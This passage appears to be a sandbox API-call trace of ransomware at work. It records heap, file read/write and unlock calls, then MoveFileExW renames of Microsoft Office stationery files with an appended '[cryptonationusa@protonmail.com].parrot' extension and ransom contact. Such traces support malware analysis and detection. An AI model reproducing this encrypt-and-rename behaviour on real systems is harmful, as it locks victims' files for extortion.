RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0236.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0236.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x148) returned 0x645630 [0236.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0236.464] WriteFile (in: hFile=0x27c, lpBuffer=0x645630*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x645630*, lpNumberOfBytesWritten=0x18eed4*=0x148, lpOverlapped=0x0) returned 1 [0236.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645630 | out: hHeap=0x5b0000) returned 1 [0236.467] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x146, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0236.467] CloseHandle (hObject=0x27c) returned 1 [0236.467] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173d20 [0236.467] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x31c14a0 [0236.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173d20 | out: hHeap=0x5b0000) returned 1 [0236.467] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\dadshirt.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\dadshirt.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0236.469] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c14a0 | out: hHeap=0x5b0000) returned 1 [0236.469] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0236.469] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ebbe0 | out: hHeap=0x5b0000) returned 1 [0236.469] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df78 [0236.469] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0236.469] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0236.469] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0236.471] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0236.471] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0236.472] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.472] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e3, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1e3, lpOverlapped=0x0) returned 1 [0236.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0236.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0236.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0236.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0236.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0236.472] GetLastError () returned 0x0 [0236.472] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0236.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0236.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0236.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0236.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0236.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0236.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0236.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0236.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0236.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0236.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0236.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0236.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0236.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0236.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0236.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0236.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0236.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0236.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0236.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0236.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0236.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0236.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0236.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0236.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0236.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0236.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x319e470 [0236.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0236.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a5268 [0236.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0236.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0236.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0236.473] WriteFile (in: hFile=0x27c, lpBuffer=0x3150060*, nNumberOfBytesToWrite=0x308, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x3150060*, lpNumberOfBytesWritten=0x18eed4*=0x308, lpOverlapped=0x0) returned 1 [0236.476] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0236.476] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2fb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0236.476] CloseHandle (hObject=0x27c) returned 1 [0236.476] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173d20 [0236.476] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x31c14a0 [0236.476] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173d20 | out: hHeap=0x5b0000) returned 1 [0236.476] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\dadshirt.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.HTM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\dadshirt.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0236.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c14a0 | out: hHeap=0x5b0000) returned 1 [0236.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0236.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cafe0 | out: hHeap=0x5b0000) returned 1 [0236.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df78 [0236.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0236.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0236.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0236.479] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0236.479] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0236.481] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.481] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd36, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd36, lpOverlapped=0x0) returned 1 [0236.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0236.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0236.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0236.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0236.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0236.481] GetLastError () returned 0x0 [0236.482] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0236.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0236.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0236.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0236.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0236.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0236.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0236.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0236.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0236.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0236.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0236.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0236.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0236.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0236.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0236.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0236.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0236.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0236.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0236.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0236.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0236.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0236.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0236.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0236.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0236.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0236.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x319e470 [0236.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0236.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a5268 [0236.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0236.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0236.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0236.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0236.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0236.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0236.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0236.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0236.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0236.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0236.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0236.483] WriteFile (in: hFile=0x27c, lpBuffer=0x31fe560*, nNumberOfBytesToWrite=0xe58, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x31fe560*, lpNumberOfBytesWritten=0x18eed4*=0xe58, lpOverlapped=0x0) returned 1 [0236.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0236.485] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe4e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0236.485] CloseHandle (hObject=0x27c) returned 1 [0236.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173d20 [0236.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x31c14a0 [0236.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173d20 | out: hHeap=0x5b0000) returned 1 [0236.486] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\judgesch.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\judgesch.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0236.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c14a0 | out: hHeap=0x5b0000) returned 1 [0236.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0236.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x230e0b0 | out: hHeap=0x5b0000) returned 1 [0236.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df78 [0236.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0236.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0236.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0236.489] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0236.489] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0236.490] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.490] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1fb, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1fb, lpOverlapped=0x0) returned 1 [0236.490] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0236.490] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.490] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0236.490] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0236.490] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0236.490] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0236.491] GetLastError () returned 0x0 [0236.491] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0236.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0236.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0236.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0236.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0236.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0236.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0236.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0236.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0236.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0236.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0236.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0236.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0236.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0236.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0236.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0236.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0236.492] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0236.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0236.492] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0236.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0236.492] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0236.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0236.492] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0236.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0236.492] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0236.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x319e470 [0236.492] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0236.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a5268 [0236.492] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0236.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0236.492] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0236.492] WriteFile (in: hFile=0x27c, lpBuffer=0x3150060*, nNumberOfBytesToWrite=0x318, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x3150060*, lpNumberOfBytesWritten=0x18eed4*=0x318, lpOverlapped=0x0) returned 1 [0236.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0236.494] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x313, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0236.494] CloseHandle (hObject=0x27c) returned 1 [0236.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173d20 [0236.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x31c14a0 [0236.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173d20 | out: hHeap=0x5b0000) returned 1 [0236.494] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\judgesch.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.HTM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\judgesch.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0236.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c14a0 | out: hHeap=0x5b0000) returned 1 [0236.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0236.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0236.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df78 [0236.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0236.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0236.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0236.498] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 